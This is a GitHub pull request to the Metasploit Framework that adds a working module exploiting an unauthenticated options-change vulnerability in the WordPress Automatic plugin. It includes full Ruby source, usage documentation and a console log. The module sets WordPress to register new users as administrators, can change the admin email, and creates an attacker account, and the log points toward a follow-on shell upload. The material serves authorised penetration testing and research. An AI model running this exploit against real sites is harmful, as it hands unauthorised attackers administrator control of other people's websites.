Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wordpress automatic plugin aux module #15776

Merged
merged 4 commits into from
Nov 5, 2021
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@ all-in-one-wp-migration
wp-ultimate-csv-importer
wp-symposium
wp-gdpr-compliance
wp-automatic
wp-easycart
dukapress
loginizer
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
## Vulnerable Application

This module exploits an unauthenticated arbitrary wordpress options change vulnerability
in the Automatic (wp-automatic) plugin <= 3.53.2.

h00die marked this conversation as resolved.
Show resolved Hide resolved
If `WPEMAIL` is provided, the administrator's email address will be changed.

User registration is enabled, and default user role is
set to administrator. A user is then created with the `USER` name set.
A valid `EMAIL` is required to get the registration email (not handled in MSF).

A vulnerable version of the plugin can be downloaded [here](https://legendblogs.com/wp-automatic-plugin-free-download)

## Verification Steps

1. Install the vulnerable plugin
1. Start msfconsole
1. Do: `use auxiliary/admin/http/wp_automatic_plugin_privesc`
1. Do: `set rhosts [IPs]`
1. Do: `set email [email address]`
1. Do: `run`
1. You should get an email to setup your new admin account.

## Options

### EMAIL

Email for registration. No default.

### USER
Username for registration, defaults to `msfuser`

### WPEMAIL

Wordpress Administration Email. No default.

## Scenarios

### wp-automatic 3.50.7 on Wordpress 5.4.4 No WPEMAIL

```
resource (automatic.rb)> use auxiliary/admin/http/wp_automatic_plugin_privesc
[*] Using auxiliary/admin/http/wp_automatic_plugin_privesc
resource (automatic.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (automatic.rb)> set verbose true
verbose => true
resource (automatic.rb)> set email fake@example.com
email => fake@example.com
resource (automatic.rb)> run
[*] Running module against 1.1.1.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Enabling user registrations...
[*] Setting the default user role type to administrator...
[*] Registering msfuser with email fake@example.com
[+] For a shell: use exploits/unix/webapp/wp_admin_shell_upload
[*] Auxiliary module execution completed
```
99 changes: 99 additions & 0 deletions modules/auxiliary/admin/http/wp_automatic_plugin_privesc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Plugin Automatic Config Change to RCE',
'Description' => %q{
This module exploits an unauthenticated arbitrary wordpress options change vulnerability
in the Automatic (wp-automatic) plugin <= 3.53.2. If WPEMAIL is provided, the administrator's email
address will be changed. User registration is
enabled, and default user role is set to administrator. A user is then created with
the USER name set. A valid EMAIL is required to get the registration email (not handled in MSF).
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # Metasploit module
'Jerome Bruandet'
],
'DisclosureDate' => '2021-09-06',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0,
'References' => [
['URL', 'https://blog.nintechnet.com/critical-vulnerability-fixed-in-wordpress-automatic-plugin/'],
['NOCVE', 'Patched in 3.53.3 without vendor disclosure']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options [
OptString.new('EMAIL', [true, 'Email for registration', nil, nil, URI::MailTo::EMAIL_REGEXP]),
OptString.new('USER', [true, 'Username for registration', 'msfuser'])
]

register_advanced_options [
OptString.new('WPEMAIL', [false, 'Wordpress Administration Email (default: no email modification)', nil, nil, URI::MailTo::EMAIL_REGEXP])
]
end

def check
return Exploit::CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?

# this is for pickup into the vulnerable plugins list
# check_plugin_version_from_readme('wp-automatic', '3.53.3')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is out of scope, but I'm just wondering if there would be a way to avoid adding a comment to be picked up by the update_wordpress_vulnerabilities.rb tool. Maybe using a specific info hash key/value pair, such as 'WordpressVulnType' => 'plugin'.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

in general, like 90+% of plugins use that function, so it seemed like the right answer (especially when not trying to change all of wordpress modules). In theory, anything could be changed, but since wordpress plugin modules tend to be such a small portion of the framework, I didn't want to make anything global.


if set_wp_option(Rex::Text.rand_text_numeric(8..20), Rex::Text.rand_text_numeric(8..20))
checkcode = Exploit::CheckCode::Vulnerable
else
checkcode = Exploit::CheckCode::Safe
print_error('Automatic not a vulnerable version')
end
checkcode
end

def set_wp_option(key, value)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-automatic', 'process_form.php'),
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
'vars_post' => { key => value },
'keep_cookies' => 'true'
})
fail_with(Failure::Unreachable, 'Site not responding') unless res
res && res.code == 200 && res.body.include?('{"status":"success"}')
end

def run
# lots of copy pasta from wp_gdpr_compliance_privesc
if datastore['WPEMAIL'].present?
print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
jmartin-tech marked this conversation as resolved.
Show resolved Hide resolved
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') unless set_wp_option('admin_email', datastore['WPEMAIL'])
end

print_status('Enabling user registrations...')
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')

print_status('Setting the default user role type to administrator...')
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') unless set_wp_option('default_role', 'administrator')

print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
fail_with(Failure::UnexpectedReply, 'Failed to register user') unless datastore['EMAIL'].present? && wordpress_register(datastore['USER'], datastore['EMAIL'])

vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')
end
end